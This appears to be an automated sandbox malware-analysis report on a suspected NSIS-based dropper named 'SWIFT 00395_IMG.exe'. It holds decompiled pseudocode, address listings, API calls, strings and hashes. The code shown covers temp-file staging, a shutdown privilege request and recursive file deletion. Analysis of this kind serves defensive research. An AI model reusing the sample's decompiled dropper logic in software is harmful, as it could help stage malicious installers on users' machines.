                                                                                    													if( *0x4247f4 == 0) {
                                                                                    														L67:
                                                                                    														_t63 =  *0x42480c;
                                                                                    														__eflags = _t63 - 0xffffffff;
                                                                                    														if(_t63 != 0xffffffff) {
                                                                                    															 *(_t164 + 0x14) = _t63;
                                                                                    														}
                                                                                    														ExitProcess( *(_t164 + 0x14));
                                                                                    													}
                                                                                    													_t66 = OpenProcessToken(GetCurrentProcess(), 0x28, _t164 + 0x18);
                                                                                    													__eflags = _t66;
                                                                                    													_t150 = 2;
                                                                                    													if(_t66 != 0) {
                                                                                    														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t164 + 0x24);
                                                                                    														 *(_t164 + 0x38) = 1;
                                                                                    														 *(_t164 + 0x44) = _t150;
                                                                                    														AdjustTokenPrivileges( *(_t164 + 0x2c), 0, _t164 + 0x28, 0, 0, 0);
                                                                                    													}
                                                                                    													_t67 = E00406631(4);
                                                                                    													__eflags = _t67;
                                                                                    													if(_t67 == 0) {
                                                                                    														L65:
                                                                                    														_t68 = ExitWindowsEx(_t150, 0x80040002);
                                                                                    														__eflags = _t68;
                                                                                    														if(_t68 != 0) {
                                                                                    															goto L67;
                                                                                    														}
                                                                                    														goto L66;
                                                                                    													} else {
                                                                                    														_t70 =  *_t67(0, 0, 0, 0x25, 0x80040002);
                                                                                    														__eflags = _t70;
                                                                                    														if(_t70 == 0) {
                                                                                    															L66:
                                                                                    															E0040140B(9);
                                                                                    															goto L67;
                                                                                    														}
                                                                                    														goto L65;
                                                                                    													}
                                                                                    												}
                                                                                    												E00405944( *((intOrPtr*)(_t164 + 0x10)), 0x200010);
                                                                                    												ExitProcess(2);
                                                                                    											}
                                                                                    											if( *0x424760 == 0) {
                                                                                    												L42:
                                                                                    												 *0x42480c =  *0x42480c | 0xffffffff;
                                                                                    												 *(_t164 + 0x18) = E00403A3B( *0x42480c);
                                                                                    												goto L43;
                                                                                    											}
                                                                                    											_t153 = E00405BEB(_t160, 0);
                                                                                    											if(_t153 < _t160) {
                                                                                    												L39:
                                                                                    												_t182 = _t153 - _t160;
                                                                                    												 *((intOrPtr*)(_t164 + 0x10)) = "Error launching installer";
                                                                                    												if(_t153 < _t160) {
                                                                                    													_t151 = E004058AF(_t185);
                                                                                    													lstrcatA(_t157, "~nsu");
                                                                                    													if(_t151 != 0) {
                                                                                    														lstrcatA(_t157, "A");
                                                                                    													}
                                                                                    													lstrcatA(_t157, ".tmp");
                                                                                    													_t162 = "C:\\Users\\jones\\Desktop";
                                                                                    													if(lstrcmpiA(_t157, "C:\\Users\\jones\\Desktop") != 0) {
                                                                                    														_push(_t157);
                                                                                    														if(_t151 == 0) {
                                                                                    															E00405892();
                                                                                    														} else {
                                                                                    															E00405815();
                                                                                    														}
                                                                                    														SetCurrentDirectoryA(_t157);
                                                                                    														_t189 = "C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
                                                                                    														if(_t189 == 0) {
                                                                                    															E00406228("C:\\Users\\jones\\AppData\\Local\\Temp", _t162);
                                                                                    														}
                                                                                    														E00406228(0x425000,  *(_t164 + 0x1c));
                                                                                    														_t137 = "A";
                                                                                    														_t163 = 0x1a;
                                                                                    														 *0x425400 = "A";
                                                                                    														do {
                                                                                    															E004062BB(0, 0x41f910, _t157, 0x41f910,  *((intOrPtr*)( *0x424754 + 0x120)));
                                                                                    															DeleteFileA(0x41f910);
                                                                                    															if( *((intOrPtr*)(_t164 + 0x10)) != 0 && CopyFileA("C:\\Users\\jones\\Desktop\\SWIFT 00395_IMG.exe", 0x41f910, 1) != 0) {
                                                                                    																E00406007(_t137, 0x41f910, 0);
                                                                                    																E004062BB(0, 0x41f910, _t157, 0x41f910,  *((intOrPtr*)( *0x424754 + 0x124)));
                                                                                    																_t94 = E004058C7(0x41f910);
                                                                                    																if(_t94 != 0) {
                                                                                    																	CloseHandle(_t94);
                                                                                    																	 *((intOrPtr*)(_t164 + 0x10)) = 0;
                                                                                    																}
                                                                                    															}
                                                                                    															 *0x425400 =  *0x425400 + 1;
                                                                                    															_t163 = _t163 - 1;
                                                                                    														} while (_t163 != 0);
                                                                                    														E00406007(_t137, _t157, 0);
                                                                                    													}
                                                                                    													goto L43;
                                                                                    												}
                                                                                    												 *_t153 = 0;
                                                                                    												_t154 = _t153 + 4;
                                                                                    												if(E00405CAE(_t182, _t153 + 4) == 0) {
                                                                                    													goto L43;
                                                                                    												}
                                                                                    												E00406228("C:\\Users\\jones\\AppData\\Local\\Temp", _t154);
                                                                                    												E00406228("C:\\Users\\jones\\AppData\\Local\\Temp", _t154);
                                                                                    												 *((intOrPtr*)(_t164 + 0x10)) = 0;
                                                                                    												goto L42;
                                                                                    											}
                                                                                    											_t110 = (( *0x40a1bf << 0x00000008 |  *0x40a1be) << 0x00000008 |  *0x40a1bd) << 0x00000008 | " _?=";
                                                                                    											while( *_t153 != _t110) {
                                                                                    												_t153 = _t153 - 1;
                                                                                    												if(_t153 >= _t160) {
                                                                                    													continue;
                                                                                    												}
                                                                                    												goto L39;
                                                                                    											}
                                                                                    											goto L39;
                                                                                    										}
                                                                                    										GetWindowsDirectoryA(_t157, 0x3fb);
                                                                                    										lstrcatA(_t157, "\\Temp");
                                                                                    										_t113 = E00403430(_t173);
                                                                                    										_t174 = _t113;
                                                                                    										if(_t113 != 0) {
                                                                                    											goto L33;
                                                                                    										}
                                                                                    										GetTempPathA(0x3fc, _t157);
                                                                                    										lstrcatA(_t157, "Low");
                                                                                    										SetEnvironmentVariableA("TEMP", _t157);
                                                                                    										SetEnvironmentVariableA("TMP", _t157);
                                                                                    										_t118 = E00403430(_t174);
                                                                                    										_t175 = _t118;
                                                                                    										if(_t118 == 0) {
                                                                                    											goto L43;
                                                                                    										}
                                                                                    										goto L33;
                                                                                    									}
                                                                                    									goto L25;
                                                                                    								}
                                                                                    								_t141 = _t55[4];
                                                                                    								__eflags = _t141 - 0x20;
                                                                                    								if(_t141 == 0x20) {
                                                                                    									L23:
                                                                                    									_t15 = _t164 + 0x20;
                                                                                    									 *_t15 =  *(_t164 + 0x20) | 0x00000004;
                                                                                    									__eflags =  *_t15;
                                                                                    									goto L24;
                                                                                    								}
                                                                                    								__eflags = _t141;
                                                                                    								if(_t141 != 0) {
                                                                                    									goto L24;
                                                                                    								}
                                                                                    								goto L23;
                                                                                    							}
                                                                                    							_t142 = _t55[1];
                                                                                    							__eflags = _t142 - 0x20;
                                                                                    							if(_t142 == 0x20) {
                                                                                    								L19:
                                                                                    								 *0x424800 = 1;
                                                                                    								goto L20;
                                                                                    							}
                                                                                    							__eflags = _t142;
                                                                                    							if(_t142 != 0) {
                                                                                    								goto L20;
                                                                                    							}
                                                                                    							goto L19;
                                                                                    						}
                                                                                    					} else {
                                                                                    						goto L12;
                                                                                    					}
                                                                                    					do {
                                                                                    						L12:
                                                                                    						_t55 =  &(_t55[1]);
                                                                                    						__eflags =  *_t55 - 0x20;
                                                                                    					} while ( *_t55 == 0x20);
                                                                                    					goto L13;
                                                                                    				}
                                                                                    				goto L30;
                                                                                    			}

































                                                                                    0x00403471
                                                                                    0x00403475
                                                                                    0x0040347d
                                                                                    0x00403481
                                                                                    0x00403486
                                                                                    0x00403492
                                                                                    0x0040349b
                                                                                    0x004034a0
                                                                                    0x004034a3
                                                                                    0x004034aa
                                                                                    0x004034b1
                                                                                    0x004034b1
                                                                                    0x004034aa
                                                                                    0x004034b3
                                                                                    0x004034b8
                                                                                    0x004034b9
                                                                                    0x004034c5
                                                                                    0x004034c9
                                                                                    0x004034cf
                                                                                    0x004034dd
                                                                                    0x004034e2
                                                                                    0x004034e9
                                                                                    0x004034ed
                                                                                    0x004034f1
                                                                                    0x004034f3
                                                                                    0x004034f3
                                                                                    0x004034f1
                                                                                    0x004034fb
                                                                                    0x00403502
                                                                                    0x00403508
                                                                                    0x0040351e
                                                                                    0x0040352e
                                                                                    0x00403533
                                                                                    0x00403539
                                                                                    0x00403540
                                                                                    0x0040354c
                                                                                    0x00403556
                                                                                    0x00403558
                                                                                    0x0040355a
                                                                                    0x0040355f
                                                                                    0x0040355f
                                                                                    0x0040356f
                                                                                    0x00403575
                                                                                    0x0040363e
                                                                                    0x0040363e
                                                                                    0x00403640
                                                                                    0x00403642
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040357e
                                                                                    0x00403581
                                                                                    0x00403589
                                                                                    0x00403589
                                                                                    0x0040358c
                                                                                    0x00403591
                                                                                    0x00403593
                                                                                    0x00403593
                                                                                    0x00403594
                                                                                    0x00403594
                                                                                    0x00403599
                                                                                    0x0040359c
                                                                                    0x0040362e
                                                                                    0x00403633
                                                                                    0x00403638
                                                                                    0x0040363b
                                                                                    0x0040363d
                                                                                    0x0040363d
                                                                                    0x0040363d
                                                                                    0x00000000
                                                                                    0x004035a2
                                                                                    0x004035a2
                                                                                    0x004035a3
                                                                                    0x004035a6
                                                                                    0x004035be
                                                                                    0x004035e9
                                                                                    0x004035eb
                                                                                    0x004035fe
                                                                                    0x00403629
                                                                                    0x0040362c
                                                                                    0x0040364a
                                                                                    0x0040364d
                                                                                    0x00403656
                                                                                    0x0040365b
                                                                                    0x00403661
                                                                                    0x0040366c
                                                                                    0x0040366e
                                                                                    0x00403673
                                                                                    0x00403675
                                                                                    0x004036cd
                                                                                    0x004036d2
                                                                                    0x004036dc
                                                                                    0x004036e3
                                                                                    0x004036e7
                                                                                    0x0040377b
                                                                                    0x0040377b
                                                                                    0x00403780
                                                                                    0x00403786
                                                                                    0x0040378b
                                                                                    0x004038af
                                                                                    0x004038b5
                                                                                    0x00403931
                                                                                    0x00403931
                                                                                    0x00403936
                                                                                    0x00403939
                                                                                    0x0040393b
                                                                                    0x0040393b
                                                                                    0x00403943
                                                                                    0x00403943
                                                                                    0x004038c5
                                                                                    0x004038cd
                                                                                    0x004038cf
                                                                                    0x004038d0
                                                                                    0x004038dd
                                                                                    0x004038f0
                                                                                    0x004038f8
                                                                                    0x004038fc
                                                                                    0x004038fc
                                                                                    0x00403904
                                                                                    0x00403909
                                                                                    0x00403910
                                                                                    0x0040391e
                                                                                    0x00403920
                                                                                    0x00403926
                                                                                    0x00403928
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403912
                                                                                    0x00403918
                                                                                    0x0040391a
                                                                                    0x0040391c
                                                                                    0x0040392a
                                                                                    0x0040392c
                                                                                    0x00000000
                                                                                    0x0040392c
                                                                                    0x00000000
                                                                                    0x0040391c
                                                                                    0x00403910
                                                                                    0x0040379a
                                                                                    0x004037a1
                                                                                    0x004037a1
                                                                                    0x004036f3
                                                                                    0x0040376b
                                                                                    0x0040376b
                                                                                    0x00403777
                                                                                    0x00000000
                                                                                    0x00403777
                                                                                    0x004036fc
                                                                                    0x00403700
                                                                                    0x00403736
                                                                                    0x00403736
                                                                                    0x00403738
                                                                                    0x00403740
                                                                                    0x004037b2
                                                                                    0x004037b4
                                                                                    0x004037bb
                                                                                    0x004037c3
                                                                                    0x004037c3
                                                                                    0x004037ce
                                                                                    0x004037d3
                                                                                    0x004037e2
                                                                                    0x004037e6
                                                                                    0x004037e7
                                                                                    0x004037f0
                                                                                    0x004037e9
                                                                                    0x004037e9
                                                                                    0x004037e9
                                                                                    0x004037f6
                                                                                    0x004037fc
                                                                                    0x00403802
                                                                                    0x0040380a
                                                                                    0x0040380a
                                                                                    0x00403818
                                                                                    0x0040381d
                                                                                    0x0040382f
                                                                                    0x00403837
                                                                                    0x0040383d
                                                                                    0x00403849
                                                                                    0x0040384f
                                                                                    0x00403859
                                                                                    0x0040386f
                                                                                    0x00403880
                                                                                    0x00403886
                                                                                    0x0040388d
                                                                                    0x00403890
                                                                                    0x00403896
                                                                                    0x00403896
                                                                                    0x0040388d
                                                                                    0x0040389a
                                                                                    0x004038a0
                                                                                    0x004038a0
                                                                                    0x004038a5
                                                                                    0x004038a5
                                                                                    0x00000000
                                                                                    0x004037e2
                                                                                    0x00403742
                                                                                    0x00403744
                                                                                    0x0040374f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403757
                                                                                    0x00403762
                                                                                    0x00403767
                                                                                    0x00000000
                                                                                    0x00403767
                                                                                    0x0040372b
                                                                                    0x0040372d
                                                                                    0x00403731
                                                                                    0x00403734
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403734
                                                                                    0x00000000
                                                                                    0x0040372d
                                                                                    0x0040367d
                                                                                    0x00403689
                                                                                    0x0040368e
                                                                                    0x00403693
                                                                                    0x00403695
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040369d
                                                                                    0x004036a5
                                                                                    0x004036b6
                                                                                    0x004036be
                                                                                    0x004036c0
                                                                                    0x004036c5
                                                                                    0x004036c7
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004036c7
                                                                                    0x00000000
                                                                                    0x0040362c
                                                                                    0x004035ed
                                                                                    0x004035f0
                                                                                    0x004035f3
                                                                                    0x004035f9
                                                                                    0x004035f9
                                                                                    0x004035f9
                                                                                    0x004035f9
                                                                                    0x00000000
                                                                                    0x004035f9
                                                                                    0x004035f5
                                                                                    0x004035f7
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004035f7
                                                                                    0x004035a8
                                                                                    0x004035ab
                                                                                    0x004035ae
                                                                                    0x004035b4
                                                                                    0x004035b4
                                                                                    0x00000000
                                                                                    0x004035b4
                                                                                    0x004035b0
                                                                                    0x004035b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004035b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00403583
                                                                                    0x00403583
                                                                                    0x00403583
                                                                                    0x00403584
                                                                                    0x00403584
                                                                                    0x00000000
                                                                                    0x00403583
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • SetErrorMode.KERNELBASE ref: 00403486
                                                                                    • GetVersion.KERNEL32 ref: 0040348C
                                                                                    • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004034BF
                                                                                    • #17.COMCTL32(?,00000007,00000009,0000000B), ref: 004034FB
                                                                                    • OleInitialize.OLE32(00000000), ref: 00403502
                                                                                    • SHGetFileInfoA.SHELL32(0041FD10,00000000,?,00000160,00000000,?,00000007,00000009,0000000B), ref: 0040351E
                                                                                    • GetCommandLineA.KERNEL32(00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00403533
                                                                                    • CharNextA.USER32(00000000,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,00000020,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,00000000,?,00000007,00000009,0000000B), ref: 0040356F
                                                                                    • GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000007,00000009,0000000B), ref: 0040366C
                                                                                    • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040367D
                                                                                    • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403689
                                                                                    • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040369D
                                                                                    • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 004036A5
                                                                                    • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 004036B6
                                                                                    • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004036BE
                                                                                    • DeleteFileA.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 004036D2
                                                                                      • Part of subcall function 00406631: GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
                                                                                      • Part of subcall function 00406631: GetProcAddress.KERNEL32(00000000,?), ref: 0040665E
                                                                                      • Part of subcall function 00403A3B: GetUserDefaultUILanguage.KERNELBASE(00000002,73BCFA90,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" ,00000000), ref: 00403A55
                                                                                      • Part of subcall function 00403A3B: lstrlenA.KERNEL32(uvlcopdlxoed,?,?,?,uvlcopdlxoed,00000000,C:\Users\user\AppData\Local\Temp,1033,00420D50,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420D50,00000000,00000002,73BCFA90), ref: 00403B2B
                                                                                      • Part of subcall function 00403A3B: lstrcmpiA.KERNEL32(?,.exe,uvlcopdlxoed,?,?,?,uvlcopdlxoed,00000000,C:\Users\user\AppData\Local\Temp,1033,00420D50,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420D50,00000000), ref: 00403B3E
                                                                                      • Part of subcall function 00403A3B: GetFileAttributesA.KERNEL32(uvlcopdlxoed), ref: 00403B49
                                                                                      • Part of subcall function 00403A3B: LoadImageA.USER32 ref: 00403B92
                                                                                      • Part of subcall function 00403A3B: RegisterClassA.USER32 ref: 00403BCF
                                                                                      • Part of subcall function 00403949: CloseHandle.KERNEL32(0000028C,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040395B
                                                                                      • Part of subcall function 00403949: CloseHandle.KERNEL32(000002B0,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040396F
                                                                                    • OleUninitialize.OLE32(?,?,00000007,00000009,0000000B), ref: 00403780
                                                                                    • ExitProcess.KERNEL32 ref: 004037A1
                                                                                    • GetCurrentProcess.KERNEL32(00000028,?,00000007,00000009,0000000B), ref: 004038BE
                                                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 004038C5
                                                                                    • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004038DD
                                                                                    • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004038FC
                                                                                    • ExitWindowsEx.USER32(00000002,80040002), ref: 00403920
                                                                                    • ExitProcess.KERNEL32 ref: 00403943
                                                                                      • Part of subcall function 00405944: MessageBoxIndirectA.USER32 ref: 0040599F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Process$ExitFileHandle$CloseEnvironmentPathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCommandCurrentDefaultDeleteDirectoryErrorImageIndirectInfoInitializeLanguageLineLoadLookupMessageModeModuleNextOpenPrivilegePrivilegesProcRegisterUninitializeUserValueVersionlstrcmpi
                                                                                    • String ID: "$"C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT 00395_IMG.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                                                                    • API String ID: 2181712934-2022836737
                                                                                    • Opcode ID: 76ff467a8b0f681ac06bfba7839aaa220d55bfd30843e9aac785b98ea7b1fc20
                                                                                    • Instruction ID: 58fd70292e904df403817bc88459b0d0072f96867834376c9e66c0a03af616e1
                                                                                    • Opcode Fuzzy Hash: 76ff467a8b0f681ac06bfba7839aaa220d55bfd30843e9aac785b98ea7b1fc20
                                                                                    • Instruction Fuzzy Hash: 2EC1D7701047806ED7217F659D49B2B3EACEB81706F05447FF582B61E2CB7C8A198B6E
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E004059F0(void* __eflags, signed int _a4, signed int _a8) {
                                                                                    				signed int _v8;
                                                                                    				void* _v12;
                                                                                    				signed int _v16;
                                                                                    				struct _WIN32_FIND_DATAA _v336;
                                                                                    				signed int _t40;
                                                                                    				char* _t53;
                                                                                    				signed int _t55;
                                                                                    				signed int _t58;
                                                                                    				signed int _t64;
                                                                                    				signed int _t66;
                                                                                    				void* _t68;
                                                                                    				signed char _t69;
                                                                                    				CHAR* _t71;
                                                                                    				void* _t72;
                                                                                    				CHAR* _t73;
                                                                                    				char* _t76;
                                                                                    
                                                                                    				_t69 = _a8;
                                                                                    				_t73 = _a4;
                                                                                    				_v8 = _t69 & 0x00000004;
                                                                                    				_t40 = E00405CAE(__eflags, _t73);
                                                                                    				_v16 = _t40;
                                                                                    				if((_t69 & 0x00000008) != 0) {
                                                                                    					_t66 = DeleteFileA(_t73); // executed
                                                                                    					asm("sbb eax, eax");
                                                                                    					_t68 =  ~_t66 + 1;
                                                                                    					 *0x4247e8 =  *0x4247e8 + _t68;
                                                                                    					return _t68;
                                                                                    				}
                                                                                    				_a4 = _t69;
                                                                                    				_t8 =  &_a4;
                                                                                    				 *_t8 = _a4 & 0x00000001;
                                                                                    				__eflags =  *_t8;
                                                                                    				if( *_t8 == 0) {
                                                                                    					L5:
                                                                                    					E00406228(0x421d58, _t73);
                                                                                    					__eflags = _a4;
                                                                                    					if(_a4 == 0) {
                                                                                    						E00405C07(_t73);
                                                                                    					} else {
                                                                                    						lstrcatA(0x421d58, "\*.*");
                                                                                    					}
                                                                                    					__eflags =  *_t73;
                                                                                    					if( *_t73 != 0) {
                                                                                    						L10:
                                                                                    						lstrcatA(_t73, 0x40a014);
                                                                                    						L11:
                                                                                    						_t71 =  &(_t73[lstrlenA(_t73)]);
                                                                                    						_t40 = FindFirstFileA(0x421d58,  &_v336);
                                                                                    						__eflags = _t40 - 0xffffffff;
                                                                                    						_v12 = _t40;
                                                                                    						if(_t40 == 0xffffffff) {
                                                                                    							L29:
                                                                                    							__eflags = _a4;
                                                                                    							if(_a4 != 0) {
                                                                                    								_t32 = _t71 - 1;
                                                                                    								 *_t32 =  *(_t71 - 1) & 0x00000000;
                                                                                    								__eflags =  *_t32;
                                                                                    							}
                                                                                    							goto L31;
                                                                                    						} else {
                                                                                    							goto L12;
                                                                                    						}
                                                                                    						do {
                                                                                    							L12:
                                                                                    							_t76 =  &(_v336.cFileName);
                                                                                    							_t53 = E00405BEB( &(_v336.cFileName), 0x3f);
                                                                                    							__eflags =  *_t53;
                                                                                    							if( *_t53 != 0) {
                                                                                    								__eflags = _v336.cAlternateFileName;
                                                                                    								if(_v336.cAlternateFileName != 0) {
                                                                                    									_t76 =  &(_v336.cAlternateFileName);
                                                                                    								}
                                                                                    							}
                                                                                    							__eflags =  *_t76 - 0x2e;
                                                                                    							if( *_t76 != 0x2e) {
                                                                                    								L19:
                                                                                    								E00406228(_t71, _t76);
                                                                                    								__eflags = _v336.dwFileAttributes & 0x00000010;
                                                                                    								if(__eflags == 0) {
                                                                                    									_t55 = E004059A8(__eflags, _t73, _v8);
                                                                                    									__eflags = _t55;
                                                                                    									if(_t55 != 0) {
                                                                                    										E0040534F(0xfffffff2, _t73);
                                                                                    									} else {
                                                                                    										__eflags = _v8 - _t55;
                                                                                    										if(_v8 == _t55) {
                                                                                    											 *0x4247e8 =  *0x4247e8 + 1;
                                                                                    										} else {
                                                                                    											E0040534F(0xfffffff1, _t73);
                                                                                    											E00406007(_t72, _t73, 0);
                                                                                    										}
                                                                                    									}
                                                                                    								} else {
                                                                                    									__eflags = (_a8 & 0x00000003) - 3;
                                                                                    									if(__eflags == 0) {
                                                                                    										E004059F0(__eflags, _t73, _a8);
                                                                                    									}
                                                                                    								}
                                                                                    								goto L27;
                                                                                    							}
                                                                                    							_t64 =  *((intOrPtr*)(_t76 + 1));
                                                                                    							__eflags = _t64;
                                                                                    							if(_t64 == 0) {
                                                                                    								goto L27;
                                                                                    							}
                                                                                    							__eflags = _t64 - 0x2e;
                                                                                    							if(_t64 != 0x2e) {
                                                                                    								goto L19;
                                                                                    							}
                                                                                    							__eflags =  *((char*)(_t76 + 2));
                                                                                    							if( *((char*)(_t76 + 2)) == 0) {
                                                                                    								goto L27;
                                                                                    							}
                                                                                    							goto L19;
                                                                                    							L27:
                                                                                    							_t58 = FindNextFileA(_v12,  &_v336);
                                                                                    							__eflags = _t58;
                                                                                    						} while (_t58 != 0);
                                                                                    						_t40 = FindClose(_v12);
                                                                                    						goto L29;
                                                                                    					}
                                                                                    					__eflags =  *0x421d58 - 0x5c;
                                                                                    					if( *0x421d58 != 0x5c) {
                                                                                    						goto L11;
                                                                                    					}
                                                                                    					goto L10;
                                                                                    				} else {
                                                                                    					__eflags = _t40;
                                                                                    					if(_t40 == 0) {
                                                                                    						L31:
                                                                                    						__eflags = _a4;
                                                                                    						if(_a4 == 0) {
                                                                                    							L39:
                                                                                    							return _t40;
                                                                                    						}
                                                                                    						__eflags = _v16;
                                                                                    						if(_v16 != 0) {
                                                                                    							_t40 = E0040659C(_t73);
                                                                                    							__eflags = _t40;
                                                                                    							if(_t40 == 0) {
                                                                                    								goto L39;
                                                                                    							}
                                                                                    							E00405BC0(_t73);
                                                                                    							_t40 = E004059A8(__eflags, _t73, _v8 | 0x00000001);
                                                                                    							__eflags = _t40;
                                                                                    							if(_t40 != 0) {
                                                                                    								return E0040534F(0xffffffe5, _t73);
                                                                                    							}
                                                                                    							__eflags = _v8;
                                                                                    							if(_v8 == 0) {
                                                                                    								goto L33;
                                                                                    							}
                                                                                    							E0040534F(0xfffffff1, _t73);
                                                                                    							return E00406007(_t72, _t73, 0);
                                                                                    						}
                                                                                    						L33:
                                                                                    						 *0x4247e8 =  *0x4247e8 + 1;
                                                                                    						return _t40;
                                                                                    					}
                                                                                    					__eflags = _t69 & 0x00000002;
                                                                                    					if((_t69 & 0x00000002) == 0) {
                                                                                    						goto L31;
                                                                                    					}
                                                                                    					goto L5;
                                                                                    				}
                                                                                    			}



















                                                                                    0x004059fa
                                                                                    0x004059ff
                                                                                    0x00405a08
                                                                                    0x00405a0b
                                                                                    0x00405a13
                                                                                    0x00405a16
                                                                                    0x00405a19
                                                                                    0x00405a21
                                                                                    0x00405a23
                                                                                    0x00405a24
                                                                                    0x00000000
                                                                                    0x00405a24
                                                                                    0x00405a2f
                                                                                    0x00405a32
                                                                                    0x00405a32
                                                                                    0x00405a32
                                                                                    0x00405a36
                                                                                    0x00405a49
                                                                                    0x00405a50
                                                                                    0x00405a55
                                                                                    0x00405a59
                                                                                    0x00405a69
                                                                                    0x00405a5b
                                                                                    0x00405a61
                                                                                    0x00405a61
                                                                                    0x00405a6e
                                                                                    0x00405a71
                                                                                    0x00405a7c
                                                                                    0x00405a82
                                                                                    0x00405a87
                                                                                    0x00405a97
                                                                                    0x00405a99
                                                                                    0x00405a9f
                                                                                    0x00405aa2
                                                                                    0x00405aa5
                                                                                    0x00405b5d
                                                                                    0x00405b5d
                                                                                    0x00405b61
                                                                                    0x00405b63
                                                                                    0x00405b63
                                                                                    0x00405b63
                                                                                    0x00405b63
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405aab
                                                                                    0x00405aab
                                                                                    0x00405ab4
                                                                                    0x00405aba
                                                                                    0x00405abf
                                                                                    0x00405ac2
                                                                                    0x00405ac4
                                                                                    0x00405ac8
                                                                                    0x00405aca
                                                                                    0x00405aca
                                                                                    0x00405ac8
                                                                                    0x00405acd
                                                                                    0x00405ad0
                                                                                    0x00405ae3
                                                                                    0x00405ae5
                                                                                    0x00405aea
                                                                                    0x00405af1
                                                                                    0x00405b0c
                                                                                    0x00405b11
                                                                                    0x00405b13
                                                                                    0x00405b37
                                                                                    0x00405b15
                                                                                    0x00405b15
                                                                                    0x00405b18
                                                                                    0x00405b2c
                                                                                    0x00405b1a
                                                                                    0x00405b1d
                                                                                    0x00405b25
                                                                                    0x00405b25
                                                                                    0x00405b18
                                                                                    0x00405af3
                                                                                    0x00405af9
                                                                                    0x00405afb
                                                                                    0x00405b01
                                                                                    0x00405b01
                                                                                    0x00405afb
                                                                                    0x00000000
                                                                                    0x00405af1
                                                                                    0x00405ad2
                                                                                    0x00405ad5
                                                                                    0x00405ad7
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405ad9
                                                                                    0x00405adb
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405add
                                                                                    0x00405ae1
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405b3c
                                                                                    0x00405b46
                                                                                    0x00405b4c
                                                                                    0x00405b4c
                                                                                    0x00405b57
                                                                                    0x00000000
                                                                                    0x00405b57
                                                                                    0x00405a73
                                                                                    0x00405a7a
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405a38
                                                                                    0x00405a38
                                                                                    0x00405a3a
